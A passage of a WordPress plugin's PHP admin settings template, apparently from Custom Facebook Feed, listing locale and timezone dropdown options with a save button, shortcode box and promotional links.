value="ca_ES" <?php if($cff_locale_val == "ca_ES") echo 'selected="selected"' ?> ><?php _e('Catalan', 'custom-facebook-feed'); ?></option> <option value="cs_CZ" <?php if($cff_locale_val == "cs_CZ") echo 'selected="selected"' ?> ><?php _e('Czech', 'custom-facebook-feed'); ?></option> <option value="cy_GB" <?php if($cff_locale_val == "cy_GB") echo 'selected="selected"' ?> ><?php _e('Welsh', 'custom-facebook-feed'); ?></option> <option value="da_DK" <?php if($cff_locale_val == "da_DK") echo 'selected="selected"' ?> ><?php _e('Danish', 'custom-facebook-feed'); ?></option> <option value="de_DE" <?php if($cff_locale_val == "de_DE") echo 'selected="selected"' ?> ><?php _e('German', 'custom-facebook-feed'); ?></option> <option value="el_GR" <?php if($cff_locale_val == "el_GR") echo 'selected="selected"' ?> ><?php _e('Greek', 'custom-facebook-feed'); ?></option> <option value="en_GB" <?php if($cff_locale_val == "en_GB") echo 'selected="selected"' ?> ><?php _e('English (UK)', 'custom-facebook-feed'); ?></option> <option value="en_PI" <?php if($cff_locale_val == "en_PI") echo 'selected="selected"' ?> ><?php _e('English (Pirate)', 'custom-facebook-feed'); ?></option> <option value="en_UD" <?php if($cff_locale_val == "en_UD") echo 'selected="selected"' ?> ><?php _e('English (Upside Down)', 'custom-facebook-feed'); ?></option> <option value="en_US" <?php if($cff_locale_val == "en_US") echo 'selected="selected"' ?> ><?php _e('English (US)', 'custom-facebook-feed'); ?></option> <option value="eo_EO" <?php if($cff_locale_val == "eo_EO") echo 'selected="selected"' ?> ><?php _e('Esperanto', 'custom-facebook-feed'); ?></option> <option value="es_ES" <?php if($cff_locale_val == "es_ES") echo 'selected="selected"' ?> ><?php _e('Spanish (Spain)', 'custom-facebook-feed'); ?></option> <option value="es_LA" <?php if($cff_locale_val == "es_LA") echo 'selected="selected"' ?> ><?php _e('Spanish', 'custom-facebook-feed'); ?></option> <option value="et_EE" <?php if($cff_locale_val == "et_EE") echo 'selected="selected"' ?> ><?php _e('Estonian', 'custom-facebook-feed'); ?></option> <option value="eu_ES" <?php if($cff_locale_val == "eu_ES") echo 'selected="selected"' ?> ><?php _e('Basque', 'custom-facebook-feed'); ?></option> <option value="fa_IR" <?php if($cff_locale_val == "fa_IR") echo 'selected="selected"' ?> ><?php _e('Persian', 'custom-facebook-feed'); ?></option> <option value="fb_LT" <?php if($cff_locale_val == "fb_LT") echo 'selected="selected"' ?> ><?php _e('Leet Speak', 'custom-facebook-feed'); ?></option> <option value="fi_FI" <?php if($cff_locale_val == "fi_FI") echo 'selected="selected"' ?> ><?php _e('Finnish', 'custom-facebook-feed'); ?></option> <option value="fo_FO" <?php if($cff_locale_val == "fo_FO") echo 'selected="selected"' ?> ><?php _e('Faroese', 'custom-facebook-feed'); ?></option> <option value="fr_CA" <?php if($cff_locale_val == "fr_CA") echo 'selected="selected"' ?> ><?php _e('French (Canada)', 'custom-facebook-feed'); ?></option> <option value="fr_FR" <?php if($cff_locale_val == "fr_FR") echo 'selected="selected"' ?> ><?php _e('French (France)', 'custom-facebook-feed'); ?></option> <option value="fy_NL" <?php if($cff_locale_val == "fy_NL") echo 'selected="selected"' ?> ><?php _e('Frisian', 'custom-facebook-feed'); ?></option> <option value="ga_IE" <?php if($cff_locale_val == "ga_IE") echo 'selected="selected"' ?> ><?php _e('Irish', 'custom-facebook-feed'); ?></option> <option value="gl_ES" <?php if($cff_locale_val == "gl_ES") echo 'selected="selected"' ?> ><?php _e('Galician', 'custom-facebook-feed'); ?></option> <option value="he_IL" <?php if($cff_locale_val == "he_IL") echo 'selected="selected"' ?> ><?php _e('Hebrew', 'custom-facebook-feed'); ?></option> <option value="hi_IN" <?php if($cff_locale_val == "hi_IN") echo 'selected="selected"' ?> ><?php _e('Hindi', 'custom-facebook-feed'); ?></option> <option value="hr_HR" <?php if($cff_locale_val == "hr_HR") echo 'selected="selected"' ?> ><?php _e('Croatian', 'custom-facebook-feed'); ?></option> <option value="hu_HU" <?php if($cff_locale_val == "hu_HU") echo 'selected="selected"' ?> ><?php _e('Hungarian', 'custom-facebook-feed'); ?></option> <option value="hy_AM" <?php if($cff_locale_val == "hy_AM") echo 'selected="selected"' ?> ><?php _e('Armenian', 'custom-facebook-feed'); ?></option> <option value="id_ID" <?php if($cff_locale_val == "id_ID") echo 'selected="selected"' ?> ><?php _e('Indonesian', 'custom-facebook-feed'); ?></option> <option value="is_IS" <?php if($cff_locale_val == "is_IS") echo 'selected="selected"' ?> ><?php _e('Icelandic', 'custom-facebook-feed'); ?></option> <option value="it_IT" <?php if($cff_locale_val == "it_IT") echo 'selected="selected"' ?> ><?php _e('Italian', 'custom-facebook-feed'); ?></option> <option value="ja_JP" <?php if($cff_locale_val == "ja_JP") echo 'selected="selected"' ?> ><?php _e('Japanese', 'custom-facebook-feed'); ?></option> <option value="ka_GE" <?php if($cff_locale_val == "ka_GE") echo 'selected="selected"' ?> ><?php _e('Georgian', 'custom-facebook-feed'); ?></option> <option value="km_KH" <?php if($cff_locale_val == "km_KH") echo 'selected="selected"' ?> ><?php _e('Khmer', 'custom-facebook-feed'); ?></option> <option value="ko_KR" <?php if($cff_locale_val == "ko_KR") echo 'selected="selected"' ?> ><?php _e('Korean', 'custom-facebook-feed'); ?></option> <option value="ku_TR" <?php if($cff_locale_val == "ku_TR") echo 'selected="selected"' ?> ><?php _e('Kurdish', 'custom-facebook-feed'); ?></option> <option value="la_VA" <?php if($cff_locale_val == "la_VA") echo 'selected="selected"' ?> ><?php _e('Latin', 'custom-facebook-feed'); ?></option> <option value="lt_LT" <?php if($cff_locale_val == "lt_LT") echo 'selected="selected"' ?> ><?php _e('Lithuanian', 'custom-facebook-feed'); ?></option> <option value="lv_LV" <?php if($cff_locale_val == "lv_LV") echo 'selected="selected"' ?> ><?php _e('Latvian', 'custom-facebook-feed'); ?></option> <option value="mk_MK" <?php if($cff_locale_val == "mk_MK") echo 'selected="selected"' ?> ><?php _e('Macedonian', 'custom-facebook-feed'); ?></option> <option value="ml_IN" <?php if($cff_locale_val == "ml_IN") echo 'selected="selected"' ?> ><?php _e('Malayalam', 'custom-facebook-feed'); ?></option> <option value="ms_MY" <?php if($cff_locale_val == "ms_MY") echo 'selected="selected"' ?> ><?php _e('Malay', 'custom-facebook-feed'); ?></option> <option value="nb_NO" <?php if($cff_locale_val == "nb_NO") echo 'selected="selected"' ?> ><?php _e('Norwegian (bokmal)', 'custom-facebook-feed'); ?></option> <option value="ne_NP" <?php if($cff_locale_val == "ne_NP") echo 'selected="selected"' ?> ><?php _e('Nepali', 'custom-facebook-feed'); ?></option> <option value="nl_NL" <?php if($cff_locale_val == "nl_NL") echo 'selected="selected"' ?> ><?php _e('Dutch', 'custom-facebook-feed'); ?></option> <option value="nn_NO" <?php if($cff_locale_val == "nn_NO") echo 'selected="selected"' ?> ><?php _e('Norwegian (nynorsk)', 'custom-facebook-feed'); ?></option> <option value="pa_IN" <?php if($cff_locale_val == "pa_IN") echo 'selected="selected"' ?> ><?php _e('Punjabi', 'custom-facebook-feed'); ?></option> <option value="pl_PL" <?php if($cff_locale_val == "pl_PL") echo 'selected="selected"' ?> ><?php _e('Polish', 'custom-facebook-feed'); ?></option> <option value="ps_AF" <?php if($cff_locale_val == "ps_AF") echo 'selected="selected"' ?> ><?php _e('Pashto', 'custom-facebook-feed'); ?></option> <option value="pt_BR" <?php if($cff_locale_val == "pt_BR") echo 'selected="selected"' ?> ><?php _e('Portuguese (Brazil)', 'custom-facebook-feed'); ?></option> <option value="pt_PT" <?php if($cff_locale_val == "pt_PT") echo 'selected="selected"' ?> ><?php _e('Portuguese (Portugal)', 'custom-facebook-feed'); ?></option> <option value="ro_RO" <?php if($cff_locale_val == "ro_RO") echo 'selected="selected"' ?> ><?php _e('Romanian', 'custom-facebook-feed'); ?></option> <option value="ru_RU" <?php if($cff_locale_val == "ru_RU") echo 'selected="selected"' ?> ><?php _e('Russian', 'custom-facebook-feed'); ?></option> <option value="sk_SK" <?php if($cff_locale_val == "sk_SK") echo 'selected="selected"' ?> ><?php _e('Slovak', 'custom-facebook-feed'); ?></option> <option value="sl_SI" <?php if($cff_locale_val == "sl_SI") echo 'selected="selected"' ?> ><?php _e('Slovenian', 'custom-facebook-feed'); ?></option> <option value="sq_AL" <?php if($cff_locale_val == "sq_AL") echo 'selected="selected"' ?> ><?php _e('Albanian', 'custom-facebook-feed'); ?></option> <option value="sr_RS" <?php if($cff_locale_val == "sr_RS") echo 'selected="selected"' ?> ><?php _e('Serbian', 'custom-facebook-feed'); ?></option> <option value="sv_SE" <?php if($cff_locale_val == "sv_SE") echo 'selected="selected"' ?> ><?php _e('Swedish', 'custom-facebook-feed'); ?></option> <option value="sw_KE" <?php if($cff_locale_val == "sw_KE") echo 'selected="selected"' ?> ><?php _e('Swahili', 'custom-facebook-feed'); ?></option> <option value="ta_IN" <?php if($cff_locale_val == "ta_IN") echo 'selected="selected"' ?> ><?php _e('Tamil', 'custom-facebook-feed'); ?></option> <option value="te_IN" <?php if($cff_locale_val == "te_IN") echo 'selected="selected"' ?> ><?php _e('Telugu', 'custom-facebook-feed'); ?></option> <option value="th_TH" <?php if($cff_locale_val == "th_TH") echo 'selected="selected"' ?> ><?php _e('Thai', 'custom-facebook-feed'); ?></option> <option value="tl_PH" <?php if($cff_locale_val == "tl_PH") echo 'selected="selected"' ?> ><?php _e('Filipino', 'custom-facebook-feed'); ?></option> <option value="tr_TR" <?php if($cff_locale_val == "tr_TR") echo 'selected="selected"' ?> ><?php _e('Turkish', 'custom-facebook-feed'); ?></option> <option value="uk_UA" <?php if($cff_locale_val == "uk_UA") echo 'selected="selected"' ?> ><?php _e('Ukrainian', 'custom-facebook-feed'); ?></option> <option value="vi_VN" <?php if($cff_locale_val == "vi_VN") echo 'selected="selected"' ?> ><?php _e('Vietnamese', 'custom-facebook-feed'); ?></option> <option value="zh_CN" <?php if($cff_locale_val == "zh_CN") echo 'selected="selected"' ?> ><?php _e('Simplified Chinese (China)', 'custom-facebook-feed'); ?></option> <option value="zh_HK" <?php if($cff_locale_val == "zh_HK") echo 'selected="selected"' ?> ><?php _e('Traditional Chinese (Hong Kong)', 'custom-facebook-feed'); ?></option> <option value="zh_TW" <?php if($cff_locale_val == "zh_TW") echo 'selected="selected"' ?> ><?php _e('Traditional Chinese (Taiwan)', 'custom-facebook-feed'); ?></option> </select> <a class="cff-tooltip-link" href="JavaScript:void(0);"><i class="fa fa-question-circle" aria-hidden="true"></i></a> <p class="cff-tooltip cff-more-info"><?php _e("This translates some of the text sent by Facebook, specifically, the descriptive post text (eg: Smash Balloon shared a link) and the text in the 'Like Box' widget. To find out how to translate the other text in the plugin see <a href='https://smashballoon.com/cff-how-does-the-plugin-handle-text-and-language-translation/' target='_blank'>this FAQ</a>."); ?></p> </td> </tr> <tr> <th><label for="cff_timezone" class="bump-left"><?php _e('Timezone', 'custom-facebook-feed'); ?></label><code class="cff_shortcode"> timezone Eg: timezone="America/New_York" <a href="http://php.net/manual/en/timezones.php" target="_blank">See full list</a></code></th> <td> <select name="cff_timezone" style="width: 300px;"> <option value="Pacific/Midway" <?php if($cff_timezone == "Pacific/Midway") echo 'selected="selected"' ?> ><?php _e('(GMT-11:00) Midway Island, Samoa', 'custom-facebook-feed'); ?></option> <option value="America/Adak" <?php if($cff_timezone == "America/Adak") echo 'selected="selected"' ?> ><?php _e('(GMT-10:00) Hawaii-Aleutian', 'custom-facebook-feed'); ?></option> <option value="Etc/GMT+10" <?php if($cff_timezone == "Etc/GMT+10") echo 'selected="selected"' ?> ><?php _e('(GMT-10:00) Hawaii', 'custom-facebook-feed'); ?></option> <option value="Pacific/Marquesas" <?php if($cff_timezone == "Pacific/Marquesas") echo 'selected="selected"' ?> ><?php _e('(GMT-09:30) Marquesas Islands', 'custom-facebook-feed'); ?></option> <option value="Pacific/Gambier" <?php if($cff_timezone == "Pacific/Gambier") echo 'selected="selected"' ?> ><?php _e('(GMT-09:00) Gambier Islands', 'custom-facebook-feed'); ?></option> <option value="America/Anchorage" <?php if($cff_timezone == "America/Anchorage") echo 'selected="selected"' ?> ><?php _e('(GMT-09:00) Alaska', 'custom-facebook-feed'); ?></option> <option value="America/Ensenada" <?php if($cff_timezone == "America/Ensenada") echo 'selected="selected"' ?> ><?php _e('(GMT-08:00) Tijuana, Baja California', 'custom-facebook-feed'); ?></option> <option value="Etc/GMT+8" <?php if($cff_timezone == "Etc/GMT+8") echo 'selected="selected"' ?> ><?php _e('(GMT-08:00) Pitcairn Islands', 'custom-facebook-feed'); ?></option> <option value="America/Los_Angeles" <?php if($cff_timezone == "America/Los_Angeles") echo 'selected="selected"' ?> ><?php _e('(GMT-08:00) Pacific Time (US & Canada)', 'custom-facebook-feed'); ?></option> <option value="America/Denver" <?php if($cff_timezone == "America/Denver") echo 'selected="selected"' ?> ><?php _e('(GMT-07:00) Mountain Time (US & Canada)', 'custom-facebook-feed'); ?></option> <option value="America/Chihuahua" <?php if($cff_timezone == "America/Chihuahua") echo 'selected="selected"' ?> ><?php _e('(GMT-07:00) Chihuahua, La Paz, Mazatlan', 'custom-facebook-feed'); ?></option> <option value="America/Dawson_Creek" <?php if($cff_timezone == "America/Dawson_Creek") echo 'selected="selected"' ?> ><?php _e('(GMT-07:00) Arizona', 'custom-facebook-feed'); ?></option> <option value="America/Belize" <?php if($cff_timezone == "America/Belize") echo 'selected="selected"' ?> ><?php _e('(GMT-06:00) Saskatchewan, Central America', 'custom-facebook-feed'); ?></option> <option value="America/Cancun" <?php if($cff_timezone == "America/Cancun") echo 'selected="selected"' ?> ><?php _e('(GMT-06:00) Guadalajara, Mexico City, Monterrey', 'custom-facebook-feed'); ?></option> <option value="Chile/EasterIsland" <?php if($cff_timezone == "Chile/EasterIsland") echo 'selected="selected"' ?> ><?php _e('(GMT-06:00) Easter Island', 'custom-facebook-feed'); ?></option> <option value="America/Chicago" <?php if($cff_timezone == "America/Chicago") echo 'selected="selected"' ?> ><?php _e('(GMT-06:00) Central Time (US & Canada)', 'custom-facebook-feed'); ?></option> <option value="America/New_York" <?php if($cff_timezone == "America/New_York") echo 'selected="selected"' ?> ><?php _e('(GMT-05:00) Eastern Time (US & Canada)', 'custom-facebook-feed'); ?></option> <option value="America/Havana" <?php if($cff_timezone == "America/Havana") echo 'selected="selected"' ?> ><?php _e('(GMT-05:00) Cuba', 'custom-facebook-feed'); ?></option> <option value="America/Bogota" <?php if($cff_timezone == "America/Bogota") echo 'selected="selected"' ?> ><?php _e('(GMT-05:00) Bogota, Lima, Quito, Rio Branco', 'custom-facebook-feed'); ?></option> <option value="America/Caracas" <?php if($cff_timezone == "America/Caracas") echo 'selected="selected"' ?> ><?php _e('(GMT-04:30) Caracas', 'custom-facebook-feed'); ?></option> <option value="America/Santiago" <?php if($cff_timezone == "America/Santiago") echo 'selected="selected"' ?> ><?php _e('(GMT-04:00) Santiago', 'custom-facebook-feed'); ?></option> <option value="America/La_Paz" <?php if($cff_timezone == "America/La_Paz") echo 'selected="selected"' ?> ><?php _e('(GMT-04:00) La Paz', 'custom-facebook-feed'); ?></option> <option value="Atlantic/Stanley" <?php if($cff_timezone == "Atlantic/Stanley") echo 'selected="selected"' ?> ><?php _e('(GMT-04:00) Faukland Islands', 'custom-facebook-feed'); ?></option> <option value="America/Campo_Grande" <?php if($cff_timezone == "America/Campo_Grande") echo 'selected="selected"' ?> ><?php _e('(GMT-04:00) Brazil', 'custom-facebook-feed'); ?></option> <option value="America/Goose_Bay" <?php if($cff_timezone == "America/Goose_Bay") echo 'selected="selected"' ?> ><?php _e('(GMT-04:00) Atlantic Time (Goose Bay)', 'custom-facebook-feed'); ?></option> <option value="America/Glace_Bay" <?php if($cff_timezone == "America/Glace_Bay") echo 'selected="selected"' ?> ><?php _e('(GMT-04:00) Atlantic Time (Canada)', 'custom-facebook-feed'); ?></option> <option value="America/St_Johns" <?php if($cff_timezone == "America/St_Johns") echo 'selected="selected"' ?> ><?php _e('(GMT-03:30) Newfoundland', 'custom-facebook-feed'); ?></option> <option value="America/Araguaina" <?php if($cff_timezone == "America/Araguaina") echo 'selected="selected"' ?> ><?php _e('(GMT-03:00) UTC-3', 'custom-facebook-feed'); ?></option> <option value="America/Montevideo" <?php if($cff_timezone == "America/Montevideo") echo 'selected="selected"' ?> ><?php _e('(GMT-03:00) Montevideo', 'custom-facebook-feed'); ?></option> <option value="America/Miquelon" <?php if($cff_timezone == "America/Miquelon") echo 'selected="selected"' ?> ><?php _e('(GMT-03:00) Miquelon, St. Pierre', 'custom-facebook-feed'); ?></option> <option value="America/Godthab" <?php if($cff_timezone == "America/Godthab") echo 'selected="selected"' ?> ><?php _e('(GMT-03:00) Greenland', 'custom-facebook-feed'); ?></option> <option value="America/Argentina/Buenos_Aires" <?php if($cff_timezone == "America/Argentina/Buenos_Aires") echo 'selected="selected"' ?> ><?php _e('(GMT-03:00) Buenos Aires', 'custom-facebook-feed'); ?></option> <option value="America/Sao_Paulo" <?php if($cff_timezone == "America/Sao_Paulo") echo 'selected="selected"' ?> ><?php _e('(GMT-03:00) Brasilia', 'custom-facebook-feed'); ?></option> <option value="America/Noronha" <?php if($cff_timezone == "America/Noronha") echo 'selected="selected"' ?> ><?php _e('(GMT-02:00) Mid-Atlantic', 'custom-facebook-feed'); ?></option> <option value="Atlantic/Cape_Verde" <?php if($cff_timezone == "Atlantic/Cape_Verde") echo 'selected="selected"' ?> ><?php _e('(GMT-01:00) Cape Verde Is.', 'custom-facebook-feed'); ?></option> <option value="Atlantic/Azores" <?php if($cff_timezone == "Atlantic/Azores") echo 'selected="selected"' ?> ><?php _e('(GMT-01:00) Azores', 'custom-facebook-feed'); ?></option> <option value="Europe/Belfast" <?php if($cff_timezone == "Europe/Belfast") echo 'selected="selected"' ?> ><?php _e('(GMT) Greenwich Mean Time : Belfast', 'custom-facebook-feed'); ?></option> <option value="Europe/Dublin" <?php if($cff_timezone == "Europe/Dublin") echo 'selected="selected"' ?> ><?php _e('(GMT) Greenwich Mean Time : Dublin', 'custom-facebook-feed'); ?></option> <option value="Europe/Lisbon" <?php if($cff_timezone == "Europe/Lisbon") echo 'selected="selected"' ?> ><?php _e('(GMT) Greenwich Mean Time : Lisbon', 'custom-facebook-feed'); ?></option> <option value="Europe/London" <?php if($cff_timezone == "Europe/London") echo 'selected="selected"' ?> ><?php _e('(GMT) Greenwich Mean Time : London', 'custom-facebook-feed'); ?></option> <option value="Africa/Abidjan" <?php if($cff_timezone == "Africa/Abidjan") echo 'selected="selected"' ?> ><?php _e('(GMT) Monrovia, Reykjavik', 'custom-facebook-feed'); ?></option> <option value="Europe/Amsterdam" <?php if($cff_timezone == "Europe/Amsterdam") echo 'selected="selected"' ?> ><?php _e('(GMT+01:00) Amsterdam, Berlin, Bern, Rome, Stockholm, Vienna', 'custom-facebook-feed'); ?></option> <option value="Europe/Belgrade" <?php if($cff_timezone == "Europe/Belgrade") echo 'selected="selected"' ?> ><?php _e('(GMT+01:00) Belgrade, Bratislava, Budapest, Ljubljana, Prague', 'custom-facebook-feed'); ?></option> <option value="Europe/Brussels" <?php if($cff_timezone == "Europe/Brussels") echo 'selected="selected"' ?> ><?php _e('(GMT+01:00) Brussels, Copenhagen, Madrid, Paris', 'custom-facebook-feed'); ?></option> <option value="Africa/Algiers" <?php if($cff_timezone == "Africa/Algiers") echo 'selected="selected"' ?> ><?php _e('(GMT+01:00) West Central Africa', 'custom-facebook-feed'); ?></option> <option value="Africa/Windhoek" <?php if($cff_timezone == "Africa/Windhoek") echo 'selected="selected"' ?> ><?php _e('(GMT+01:00) Windhoek', 'custom-facebook-feed'); ?></option> <option value="Asia/Beirut" <?php if($cff_timezone == "Asia/Beirut") echo 'selected="selected"' ?> ><?php _e('(GMT+02:00) Beirut', 'custom-facebook-feed'); ?></option> <option value="Africa/Cairo" <?php if($cff_timezone == "Africa/Cairo") echo 'selected="selected"' ?> ><?php _e('(GMT+02:00) Cairo', 'custom-facebook-feed'); ?></option> <option value="Asia/Gaza" <?php if($cff_timezone == "Asia/Gaza") echo 'selected="selected"' ?> ><?php _e('(GMT+02:00) Gaza', 'custom-facebook-feed'); ?></option> <option value="Africa/Blantyre" <?php if($cff_timezone == "Africa/Blantyre") echo 'selected="selected"' ?> ><?php _e('(GMT+02:00) Harare, Pretoria', 'custom-facebook-feed'); ?></option> <option value="Asia/Jerusalem" <?php if($cff_timezone == "Asia/Jerusalem") echo 'selected="selected"' ?> ><?php _e('(GMT+02:00) Jerusalem', 'custom-facebook-feed'); ?></option> <option value="Europe/Minsk" <?php if($cff_timezone == "Europe/Minsk") echo 'selected="selected"' ?> ><?php _e('(GMT+02:00) Minsk', 'custom-facebook-feed'); ?></option> <option value="Asia/Damascus" <?php if($cff_timezone == "Asia/Damascus") echo 'selected="selected"' ?> ><?php _e('(GMT+02:00) Syria', 'custom-facebook-feed'); ?></option> <option value="Europe/Moscow" <?php if($cff_timezone == "Europe/Moscow") echo 'selected="selected"' ?> ><?php _e('(GMT+03:00) Moscow, St. Petersburg, Volgograd', 'custom-facebook-feed'); ?></option> <option value="Africa/Addis_Ababa" <?php if($cff_timezone == "Africa/Addis_Ababa") echo 'selected="selected"' ?> ><?php _e('(GMT+03:00) Nairobi', 'custom-facebook-feed'); ?></option> <option value="Asia/Tehran" <?php if($cff_timezone == "Asia/Tehran") echo 'selected="selected"' ?> ><?php _e('(GMT+03:30) Tehran', 'custom-facebook-feed'); ?></option> <option value="Asia/Dubai" <?php if($cff_timezone == "Asia/Dubai") echo 'selected="selected"' ?> ><?php _e('(GMT+04:00) Abu Dhabi, Muscat', 'custom-facebook-feed'); ?></option> <option value="Asia/Yerevan" <?php if($cff_timezone == "Asia/Yerevan") echo 'selected="selected"' ?> ><?php _e('(GMT+04:00) Yerevan', 'custom-facebook-feed'); ?></option> <option value="Asia/Kabul" <?php if($cff_timezone == "Asia/Kabul") echo 'selected="selected"' ?> ><?php _e('(GMT+04:30) Kabul', 'custom-facebook-feed'); ?></option> <option value="Asia/Yekaterinburg" <?php if($cff_timezone == "Asia/Yekaterinburg") echo 'selected="selected"' ?> ><?php _e('(GMT+05:00) Ekaterinburg', 'custom-facebook-feed'); ?></option> <option value="Asia/Tashkent" <?php if($cff_timezone == "Asia/Tashkent") echo 'selected="selected"' ?> ><?php _e('(GMT+05:00) Tashkent', 'custom-facebook-feed'); ?></option> <option value="Asia/Kolkata" <?php if($cff_timezone == "Asia/Kolkata") echo 'selected="selected"' ?> ><?php _e('(GMT+05:30) Chennai, Kolkata, Mumbai, New Delhi', 'custom-facebook-feed'); ?></option> <option value="Asia/Katmandu" <?php if($cff_timezone == "Asia/Katmandu") echo 'selected="selected"' ?> ><?php _e('(GMT+05:45) Kathmandu', 'custom-facebook-feed'); ?></option> <option value="Asia/Dhaka" <?php if($cff_timezone == "Asia/Dhaka") echo 'selected="selected"' ?> ><?php _e('(GMT+06:00) Astana, Dhaka', 'custom-facebook-feed'); ?></option> <option value="Asia/Novosibirsk" <?php if($cff_timezone == "Asia/Novosibirsk") echo 'selected="selected"' ?> ><?php _e('(GMT+06:00) Novosibirsk', 'custom-facebook-feed'); ?></option> <option value="Asia/Rangoon" <?php if($cff_timezone == "Asia/Rangoon") echo 'selected="selected"' ?> ><?php _e('(GMT+06:30) Yangon (Rangoon)', 'custom-facebook-feed'); ?></option> <option value="Asia/Bangkok" <?php if($cff_timezone == "Asia/Bangkok") echo 'selected="selected"' ?> ><?php _e('(GMT+07:00) Bangkok, Hanoi, Jakarta', 'custom-facebook-feed'); ?></option> <option value="Asia/Krasnoyarsk" <?php if($cff_timezone == "Asia/Krasnoyarsk") echo 'selected="selected"' ?> ><?php _e('(GMT+07:00) Krasnoyarsk', 'custom-facebook-feed'); ?></option> <option value="Asia/Hong_Kong" <?php if($cff_timezone == "Asia/Hong_Kong") echo 'selected="selected"' ?> ><?php _e('(GMT+08:00) Beijing, Chongqing, Hong Kong, Urumqi', 'custom-facebook-feed'); ?></option> <option value="Asia/Irkutsk" <?php if($cff_timezone == "Asia/Irkutsk") echo 'selected="selected"' ?> ><?php _e('(GMT+08:00) Irkutsk, Ulaan Bataar', 'custom-facebook-feed'); ?></option> <option value="Australia/Perth" <?php if($cff_timezone == "Australia/Perth") echo 'selected="selected"' ?> ><?php _e('(GMT+08:00) Perth', 'custom-facebook-feed'); ?></option> <option value="Australia/Eucla" <?php if($cff_timezone == "Australia/Eucla") echo 'selected="selected"' ?> ><?php _e('(GMT+08:45) Eucla', 'custom-facebook-feed'); ?></option> <option value="Asia/Tokyo" <?php if($cff_timezone == "Asia/Tokyo") echo 'selected="selected"' ?> ><?php _e('(GMT+09:00) Osaka, Sapporo, Tokyo', 'custom-facebook-feed'); ?></option> <option value="Asia/Seoul" <?php if($cff_timezone == "Asia/Seoul") echo 'selected="selected"' ?> ><?php _e('(GMT+09:00) Seoul', 'custom-facebook-feed'); ?></option> <option value="Asia/Yakutsk" <?php if($cff_timezone == "Asia/Yakutsk") echo 'selected="selected"' ?> ><?php _e('(GMT+09:00) Yakutsk', 'custom-facebook-feed'); ?></option> <option value="Australia/Adelaide" <?php if($cff_timezone == "Australia/Adelaide") echo 'selected="selected"' ?> ><?php _e('(GMT+09:30) Adelaide', 'custom-facebook-feed'); ?></option> <option value="Australia/Darwin" <?php if($cff_timezone == "Australia/Darwin") echo 'selected="selected"' ?> ><?php _e('(GMT+09:30) Darwin', 'custom-facebook-feed'); ?></option> <option value="Australia/Brisbane" <?php if($cff_timezone == "Australia/Brisbane") echo 'selected="selected"' ?> ><?php _e('(GMT+10:00) Brisbane', 'custom-facebook-feed'); ?></option> <option value="Australia/Hobart" <?php if($cff_timezone == "Australia/Hobart") echo 'selected="selected"' ?> ><?php _e('(GMT+10:00) Sydney', 'custom-facebook-feed'); ?></option> <option value="Asia/Vladivostok" <?php if($cff_timezone == "Asia/Vladivostok") echo 'selected="selected"' ?> ><?php _e('(GMT+10:00) Vladivostok', 'custom-facebook-feed'); ?></option> <option value="Australia/Lord_Howe" <?php if($cff_timezone == "Australia/Lord_Howe") echo 'selected="selected"' ?> ><?php _e('(GMT+10:30) Lord Howe Island', 'custom-facebook-feed'); ?></option> <option value="Etc/GMT-11" <?php if($cff_timezone == "Etc/GMT-11") echo 'selected="selected"' ?> ><?php _e('(GMT+11:00) Solomon Is., New Caledonia', 'custom-facebook-feed'); ?></option> <option value="Asia/Magadan" <?php if($cff_timezone == "Asia/Magadan") echo 'selected="selected"' ?> ><?php _e('(GMT+11:00) Magadan', 'custom-facebook-feed'); ?></option> <option value="Pacific/Norfolk" <?php if($cff_timezone == "Pacific/Norfolk") echo 'selected="selected"' ?> ><?php _e('(GMT+11:30) Norfolk Island', 'custom-facebook-feed'); ?></option> <option value="Asia/Anadyr" <?php if($cff_timezone == "Asia/Anadyr") echo 'selected="selected"' ?> ><?php _e('(GMT+12:00) Anadyr, Kamchatka', 'custom-facebook-feed'); ?></option> <option value="Pacific/Auckland" <?php if($cff_timezone == "Pacific/Auckland") echo 'selected="selected"' ?> ><?php _e('(GMT+12:00) Auckland, Wellington', 'custom-facebook-feed'); ?></option> <option value="Etc/GMT-12" <?php if($cff_timezone == "Etc/GMT-12") echo 'selected="selected"' ?> ><?php _e('(GMT+12:00) Fiji, Kamchatka, Marshall Is.', 'custom-facebook-feed'); ?></option> <option value="Pacific/Chatham" <?php if($cff_timezone == "Pacific/Chatham") echo 'selected="selected"' ?> ><?php _e('(GMT+12:45) Chatham Islands', 'custom-facebook-feed'); ?></option> <option value="Pacific/Tongatapu" <?php if($cff_timezone == "Pacific/Tongatapu") echo 'selected="selected"' ?> ><?php _e('(GMT+13:00) Nuku\'alofa', 'custom-facebook-feed'); ?></option> <option value="Pacific/Kiritimati" <?php if($cff_timezone == "Pacific/Kiritimati") echo 'selected="selected"' ?> ><?php _e('(GMT+14:00) Kiritimati', 'custom-facebook-feed'); ?></option> </select> </td> </tr> </tbody> </table> <div class="cff-save-settings-btn"> <?php submit_button('Save Settings & Clear Cache'); ?> <a class="cff-tooltip-link" href="JavaScript:void(0);">Why is the cache cleared?</a> <p class="cff-tooltip cff-more-info"><?php _e("As the settings on this page directly affect the request made to Facebook to get data, then when these settings are changed the plugin cache is cleared in order for the plugin to check Facebook for data again using these new settings. The plugin will check Facebook for data the next time the page that the feed is on is loaded."); ?></p> </div> <p style="padding-top: 5px;"><i class="fa fa-life-ring" aria-hidden="true"></i> <?php _e('Having trouble using the plugin? Check out the', 'custom-facebook-feed'); ?> <a href='admin.php?page=cff-top&tab=support'><?php _e('Support', 'custom-facebook-feed'); ?></a> <?php _e('tab', 'custom-facebook-feed'); ?>.</p> </form> <div class="cff_quickstart"> <h3><i class="fa fa-rocket" aria-hidden="true"></i> Display your feed</h3> <p>Copy and paste this shortcode directly into the page, post or widget where you'd like to display the feed: <input type="text" value="[custom-facebook-feed]" size="22" readonly="readonly" style="text-align: center;" onclick="this.focus();this.select()" title="To copy, click the field then press Ctrl + C (PC) or Cmd + C (Mac)."></p> <p>Find out how to display <a href="https://smashballoon.com/using-shortcode-options-customize-facebook-feeds/?utm_campaign=facebook-free&utm_source=settings&utm_medium=multiple" target="_blank"><b>multiple feeds</b></a>.</p> </div> <a href="https://smashballoon.com/custom-facebook-feed/demo/?utm_campaign=facebook-free&utm_source=footer&utm_medium=ad" target="_blank" class="cff-pro-notice"><img src="<?php echo plugins_url( 'img/pro.png?2019' , __FILE__ ) ?>" /></a> <p class="cff_plugins_promo dashicons-before dashicons-admin-plugins"> <?php _e('Check out our other free plugins for <a href="https://wordpress.org/plugins/instagram-feed/" target="_blank">Instagram</a>, <a href="https://wordpress.org/plugins/custom-twitter-feeds/" target="_blank">Twitter</a>, and <a href="https://wordpress.org/plugins/feeds-for-youtube/" 